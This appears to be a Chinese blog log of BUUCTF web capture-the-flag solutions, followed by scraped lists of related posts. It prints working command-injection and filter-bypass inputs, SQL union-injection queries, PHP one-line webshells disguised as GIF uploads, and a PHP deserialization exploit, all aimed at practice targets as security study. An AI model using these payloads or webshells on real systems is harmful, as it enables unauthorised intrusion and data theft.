[BUUCTF]Web刷题记录
为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后
[ACTF2020 新生赛]Exec

打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了
127.0.0.1 | cat /flag

总结一下常见的Linux管道符
|按位或,直接执行|后面的语句||逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&按位与,&前面和后面的都要执行,无论前面真假&&逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
[GXYCTF2019]Ping Ping Ping

打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格
成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法
\(IFS
\){IFS}
$IFS$1 //\(1改成\)加其他数字都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试最后使用$IFS和$IFS$1都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php
emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显
现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls 
这时候查看源代码即可得到最终的flag
[极客大挑战 2019]LoveSQL

开屏一道SQL注入题目,先试试万能密码http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1
md5解密失败,回到注入的思路上
/check.php?username=admin' order by 3%23&password=1
字段数为3时,回显正常,使用union查询回显点位
/check.php
?username=1' union select 1,2,3%23
&password=1

得到回显点位为2和3,查询数据库相关信息
/check.php?username=1' union select 1,database(),version()%23
&password=1

接着查询表名
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以得到如上两个表,接着爆破各个表的字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表均为以上结果,接着爆破各个表的数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1


可以看到flag已经找到了,本题得解

[极客大挑战 2019]Knife
打开可以看到赫然显示着eval($_POST["Syc"]);,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功
在根目录下找到了flag,本题得解
[极客大挑战 2019]Http
打开网页查看内容
要求必须用https://Sycsecret.buuoj.cn访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn再次请求
还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover
提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1,终于显示了flag,题目得解
[极客大挑战 2019]Upload
访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml,填写内容
<script language="php">eval($_POST['shell']);</script>
接着上传,用bp抓包修改文件类型为image/jpeg,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag

[ACTF2020 新生赛]Upload
打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查

可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false部分
测试,上传成功,蚁剑连接即可getshell
[极客大挑战 2019]BabySQL
打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法
/check.php?username=admin&password=1 %27 union select 1 %23

发现union和select被过滤了,再双写试一下
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

接下来爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
得到数据库为geek,接着尝试爆处所有的数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里看到一个ctf的库比较可疑,进行爆破
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

找到一个flag表,接着爆破其中的字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

再根据字段名flag爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

本题得解
[极客大挑战 2019]PHP
看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php文件的函数,然后用GET传递了一个select参数,随后将其反序列化
打开具体看class.php内容
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
保存运行后得到反序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()转而执行__destruct
跳过__wakeup()
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
private
上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
我们再次改造
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
测试
使用get请求把我们准备好的序列化当作select的参数传递过去
/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
成功得到flag,本题得解
[BUUCTF]Web刷题记录的更多相关文章
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- buuctf misc 刷题记录
1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...
- web刷题记录 极客大挑战2019Knife upload buy a flag
极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...
- BUGKU web刷题记录
web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[XNUCA2019Qualifier]EasyPHP
目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...
- 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System
目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...
随机推荐
- #Python #密码管理器 无需再记住密码,使用Python实现个人密码管理器
本文在CSDN"彭_Yu的博客"同步发表 目录 1.要点 2.运行原理 3.异或算法简介 4.运行效果 5.实现过程 5.1文件结构 5.2建立数据库 5.3 Python代码 ...
- 从xml读取gps数据获取经纬高
#!/usr/bin/python # -*- coding: UTF-8 -*- from xml.dom.minidom import parse import xml.dom.minidom & ...
- 上分准备 VP Codeforces Round #762 (Div. 3) 4题ABCE
+00:02 +00:16 +01:08 +02:07 VP 情况 4/8 ABCE ,赛时排名可以到823,什么时候我可以上个青 B 本想写个map的二分的,发现自己不会,写了个普普通通的二分 ...
- k8s集群部署kafka
一.部署步骤 1.部署NFS并挂载共享目录 2.部署zookeeper集群 3.部署kafka集群 4.测试kafka 二.部署NFS并挂载共享目录 注:使用云产品的NAS存储可跳过此步骤 1.服务端 ...
- FII-PRX100-D开发板FPGA的烧录和RISC-V 软件代码下载
1. 生成*.bit文件之前先RESET结果 首先,打开Vivado FII_RISCV_V2.01工程(这里以V2.01版本为例),如图1所示. 图1 FII_RISCV_V2.01工程 要生成相应 ...
- java学习笔记(四)变量
局部变量,必须声明和初始化值: 实列变量,从属于对象:如果不自行初始化,这个类型的默认值,数值类型,0,0.0 布尔值 默认为false 除了基本类型下,其余的默认值都是null 如 变量类型 ...
- CatDCGAN项目复现与对抗网络初识
CatDCGAN项目复现与对抗网络初识 作者 CarpVexing 日期 100521 禁止转载 目录 CatDCGAN项目复现与对抗网络初识 引言 CatDCGAN项目基本信息 复现项目的准备工作 ...
- ggplot axis text 拐弯
scale_y_discrete(position = "left",labels=function(x) str_wrap(x, width=48)) +
- tag 总结
通用的: (((masterpiece))),((best quality)),ultra-detailed,extremely detailed CG unity 8k wallpaper,best ...
- python - 命令行下一键更新所有包
Python3.8以下这样一键更新所有包:from pip._internal.utils.misc import get_installed_distributionsfrom subprocess ...